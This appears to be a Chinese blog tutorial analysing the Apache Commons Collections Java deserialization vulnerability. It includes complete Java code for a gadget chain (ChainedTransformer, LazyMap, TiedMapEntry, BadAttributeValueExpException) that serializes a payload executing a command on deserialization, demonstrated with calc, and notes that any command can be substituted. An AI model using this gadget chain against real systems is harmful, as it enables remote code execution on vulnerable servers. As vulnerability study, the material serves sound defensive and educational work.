Apache Commons Collections 反序列化漏洞是 2015 年影响重大的漏洞之一,同时也开启了各类 java 反序列漏洞的大门,这几年大量各类 java 反序列化漏洞不断出现。java 反序列化漏洞基本一出必高危,风险程度极大,最近研究了一些反序列化漏洞,本篇记录 apache commons collections 反序列化漏洞。
java 程序在运行时,会产生大量的数据。有些时候,我们需要将内存中的对象信息存储到磁盘或者通过网络发送给第三者,此时,就需要对对象进行序列化操作。当我们需要从磁盘或网络读取存储的信息时,即为反序列化。简单理解,序列化即将内存中的对象信息转换为字节流并存储在磁盘或通过网络发送。反序列化,即从磁盘或网络读取信息,直接转换为内存对象。
如果一个对象需要进行序列化,需要注意一下两点:
1. 必须实现 Serializable 接口
2. 序列化的是实例对象,故 static 修饰的属性不会序列化。transient 修饰的属性也不会被序列化
举例说明,新建一个 Person 对象,并对 Person 对象进行序列化和反序列化操作
-
- public class Person implements Serializable {
-
- private static final long serialVersionUID = 2484848939485859L;
- private String name;
- private String sex;
- private Integer age;
-
- public String getName() {
- return name;
- }
-
- public void setName(String name) {
- this.name = name;
- }
-
- public String getSex() {
- return sex;
- }
-
- public void setSex(String sex) {
- this.sex = sex;
- }
-
- public Integer getAge() {
- return age;
- }
-
- public void setAge(Integer age) {
- this.age = age;
- }
-
- @Override
- public String toString() {
- return "Person{" +
- "name='" + name + '\'' +
- ", sex='" + sex + '\'' +
- ", age=" + age +
- '}';
- }
-
- }
- /*
- 将对象序列化到磁盘中
- */
- @Test
- public void SerializePerson() throws IOException {
- Person person = new Person();
- person.setName("abc");
- person.setAge(12);
- person.setSex("男");
- ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("D:/tmp/serialize/123.txt")));
- oo.writeObject(person);
- System.out.println("Person对象序列化成功");
- oo.close();
- }
- /*
- 从磁盘中直接反序列化对象
- */
- @Test
- public void DeserializePerson() throws IOException,ClassNotFoundException{
- ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("D:/tmp/serialize/123.txt")));
- Person person = (Person) ois.readObject();
- System.out.println("Person对象反序列化成功");
- System.out.println(person.toString());
- ois.close();
- }
可以看到序列化,即是将对象通过 ObejctOutPutStream 类的 writeObject () 方法写入文件即可。写入完成的文件,打开如下,二进制格式的文件
反序列化即通过 ObjectInputStream 类中的 readObject () 方法读取文件流,即可直接在内存中还原序列化的对象,包括其中的属性值
反序列化过程中关键的就是 readObject 方法,通过 readObject 将文件流转换为内存对象。因此,反序列化漏洞的关键就是在 readObject () 方法。在序列化后的文件中,可以看到是哪个对象被序列化到文件中的。在反序列化过程中如果该对象的类中重写的 readObject () 方法,在反序列化中会调用该类中的 readObject () 方法,有兴趣的可以用 debug 模式跟踪下具体的执行路径。
反序列化时,会调用反序列化的对象类中的 readObject () 方法,那证明如果一个对象的 readObject () 方法被重写,在反序列化的过程中即可被调用。试验一下,新建 Person2 对象,重写 readObject 方法,添加一行代码 Runtime.getRuntime ().exec ("calc"),如果 readObject 方法被调用,将会弹出计算器。
- public class Person2 implements Serializable {
-
- private static final long serialVersionUID = 248484898547362356L;
- private String name;
- private String sex;
- private Integer age;
-
- public String getName() {
- return name;
- }
-
- public void setName(String name) {
- this.name = name;
- }
-
- public String getSex() {
- return sex;
- }
-
- public void setSex(String sex) {
- this.sex = sex;
- }
-
- public Integer getAge() {
- return age;
- }
-
- public void setAge(Integer age) {
- this.age = age;
- }
-
- private void readObject(ObjectInputStream in) throws ClassNotFoundException, IOException{
- Runtime.getRuntime().exec("calc");
- }
-
- @Override
- public String toString() {
- return "Person2{" +
- "name='" + name + '\'' +
- ", sex='" + sex + '\'' +
- ", age=" + age +
- '}';
- }
- }
- public class Person2Test {
-
- //序列化
- @Before
- public void SerializePerson2() throws IOException {
- Person2 person2 = new Person2();
- person2.setName("abc");
- person2.setAge(12);
- person2.setSex("男");
- ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("D:/tmp/serialize/2.txt")));
- oo.writeObject(person2);
- System.out.println("Person对象序列化成功");
- oo.close();
- }
-
- //反序列化
- @Test
- public void DeserializePerson2() throws IOException,ClassNotFoundException{
- ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("D:/tmp/serialize/2.txt")));
- Person2 person2 = (Person2) ois.readObject();
- System.out.println("Person对象反序列化成功");
- System.out.println(person2.toString());
- ois.close();
- }
-
- }
进行反序列化后,可以看到会弹窗,但是对象属性值并没有被还原
网上找了下,重写 readObject () 时,需要调用 ObjectInputStream 的 defaultReadObject 方法,重新操作一遍,结果成功。
- public class Person2 implements Serializable {
-
- private static final long serialVersionUID = 248484898547362356L;
- private String name;
- private String sex;
- private Integer age;
-
- public String getName() {
- return name;
- }
-
- public void setName(String name) {
- this.name = name;
- }
-
- public String getSex() {
- return sex;
- }
-
- public void setSex(String sex) {
- this.sex = sex;
- }
-
- public Integer getAge() {
- return age;
- }
-
- public void setAge(Integer age) {
- this.age = age;
- }
-
- private void readObject(ObjectInputStream in) throws ClassNotFoundException, IOException{
- in.defaultReadObject();
- Runtime.getRuntime().exec("calc");
- }
-
- @Override
- public String toString() {
- return "Person2{" +
- "name='" + name + '\'' +
- ", sex='" + sex + '\'' +
- ", age=" + age +
- '}';
- }
- }
通过以上分析,如果我们能够控制重写反序列化类的 readObject 方法,就可以制造反序列化漏洞,从而达到攻击效果。然而,我们自己写个类,随后进行序列化,再发送给远程服务器,服务器反序列化的时候也是不成功的,因为服务器端根本没有我们自己写的类。只能考虑,如果服务器已经存在的某个库中的某个类,类本身就重写了 readObject 方法,是否能通过构造该类的序列化对象,以达到在反序列化时,触发特定操作,实现攻击。满足重写 readObject 方法的类有非常多,经过大牛们的寻找,AnnotationInvocationHandler、BadAttributeValueExpException 等类均满足条件。
我们的目标是通过反序列化运行 Runtime.getRuntime ().exec (new String []{"calc"}),没有任何类可以直接提供运行条件,但机智的大佬们,通过 Transform 构建反射链,即可实现上面的代码。
- @Test
- public void test4(){
- Transformer[] transformerList = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
- new InvokerTransformer("exec",new Class[]{String[].class},new Object[]{new String[]{"calc.exe"}})
- };
-
- Transformer transformerChain = new ChainedTransformer(transformerList);
- transformerChain.transform(Runtime.class);
- }
具体可阅读源代码,此处简单分析下,当执行 ChainedTransformer 的 transform () 方法时,通过循环,以此调用 ChainedTransformer 数组中每个 Transformer 的 transform () 方法。
ChainedTransformer 是由一个 ConstantTransformer 和三个 InvokerTransformer 组成的数组,ConstantTransformer 和 InvokerTransformer 都继承于 Transformer 类,当调用 InvokerTransformer 的 transformer 方法时,可通过反射去执行相应的方法,不了解反射机制的可以先去搜一下。
为便于理解,上面反射链执行的代码近似于如下代码(PS:不包括捕获异常):
- @Test
- public void test5(){
- try {
- Class class1 = Runtime.class.getClass();
- Method method1 = class1.getMethod("getMethod",new Class[]{String.class,Class[].class});
- Method method2 = (Method) method1.invoke(Runtime.class,new Object[]{"getRuntime",null});
-
- Class class2 = method2.getClass();
- Method method3 = class2.getMethod("invoke",new Class[]{Object.class,Object[].class});
- Runtime runtime = (Runtime)method3.invoke(method2,new Object[]{null,null});
-
- Class class3 = runtime.getClass();
- Method method4 = class3.getMethod("exec",new Class[]{String[].class});
- method4.invoke(runtime,new Object[]{new String[]{"calc.exe"}});
-
- }catch (Exception e){
- e.printStackTrace();
- }
- }
现在我们需要思考的是,如何让程序执行执行 ChainedTransformer 的 transform 方法。首先参考上面简单画的图,反序列化时,系统自动调用需要反序列化的对象的 readObject 方法。加上前面介绍反射链,只要能够执行 ChainedTransformer 的 transform 方法,即可执行代码 Runtime.getRuntime ().exec (new String []{"calc"})。现在我们的目标是让某个类的 readObject 方法去调用 ChainedTransformer 的 transform 方法,这样就可以打通图中的第二个环节,使整个执行链路完整。
直接参照大佬们给出的实例代码,如下。
- @Test
- public void createFile(){
-
- try {
- Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
- new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
- new InvokerTransformer("exec", new Class[] {String[].class}, new Object[] {new String[]{"calc"}})
- };
-
- Transformer transformChain = new ChainedTransformer(transformers);
-
- Map mp=new HashMap();
- mp.put("1", "1");
-
- Map lazyMap = LazyMap.decorate(mp, transformChain);
- TiedMapEntry entry = new TiedMapEntry(lazyMap, "6666");
-
- BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
- Field valField = exception.getClass().getDeclaredField("val");
- valField.setAccessible(true);
- valField.set(exception, entry);
-
- File f = new File("D:/tmp/serialize/cc.bin");
- ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
- out.writeObject(exception);
- out.flush();
- out.close();
-
- }catch (Exception e){
- e.printStackTrace();
- }
- }
上图简单描述了如何打通第二步,首先创建 HashMap,通过 HashMap 去创建 LazyMap,再通过 LazyMap 创建 TiedMapEntry。随后创建 BadAttributeValueExpException 类,这个类的 readObject 方法是被重写过的,如下。该类中还存在一个类型为 Object 的私有变量 val,随后将上面创建的 TiedMapEntry 赋值给 val 变量。因 val 是私有变量,所以也是通过反射机制去赋值(BadAttributeValueExpException 可以在构造函数中直接给 val 变量赋值,为什么不直接通过构造函数去赋值,反而通过反射的方式去赋值,此处不解释了,可以自己研究实验下)。赋值完成后,将此 BadAttributeValueExpException 对象序列化到文件。正向的去看这些操作,不便于理解,下面我们通过跟踪反序列化的过程,展示如何去执行到 ChainedTransformer。
当反序列化 BadAttributeValueExpException 时,会调用该对象的 readObject 方法,并且,该对象的 val 变量值为一个 TiedMapEntry。当调用 readObject 方法时,var3 即为序列化时的 TiedMapEntry 对象。var3 即不是 null,也不是 String 类型、Long 类型等,故只会执行最后一个 else,this.val = var3.toString ()
TiedMapEntry 对象的 toString 方法,会继续执行该对象的 getKey 和 getValue 方法。getValue 方法会调用对象的 map.get 方法
参考序列化过程 TiedMapEntry 对象,变量 map 为一个 LazyMap 对象,key 为 String 型的字符串 “6666”。刚分析,反序列化调用到 map.get (this.key),相当于调用 LazyMap 对象的 get 方法,传入的参数为 “6666”。
继续查看 LazyMap 的 get 方法以及序列化过程(参考上图)中,lazyMap 是由包含 HashMap 转换而来,hashMap 包含一个键值对,即{“1”:“1”}。
通过 Map lazyMap = LazyMap.decorate (mp,transformChain)。lazyMap 对象的 map 变量值即为{“1”:“1”}的 hashMap 键值对,factory 即为最开始构造的 Transform 反射链。当反序列化时,调用 lazyMap.get ("6666"),map 中并不包含 key 为 “6666” 的键值对,所以会直接运行到 LazyMap get 方法的 59 行,因 factory 变量在序列化操作时,被复制为 ChainedTransformer 的反射链对象,所以此处相当于调用 ChainedTransformer.transform 方法,目标达成!
至此,我们通过反序列化执行到 Runtime.getRuntime ().exec (new String []{"calc"})。若需要执行其他命令,只需改变反射链即可。所以第二步和整个反序列化流程如下。
最后看下弹出的计算器。。。。。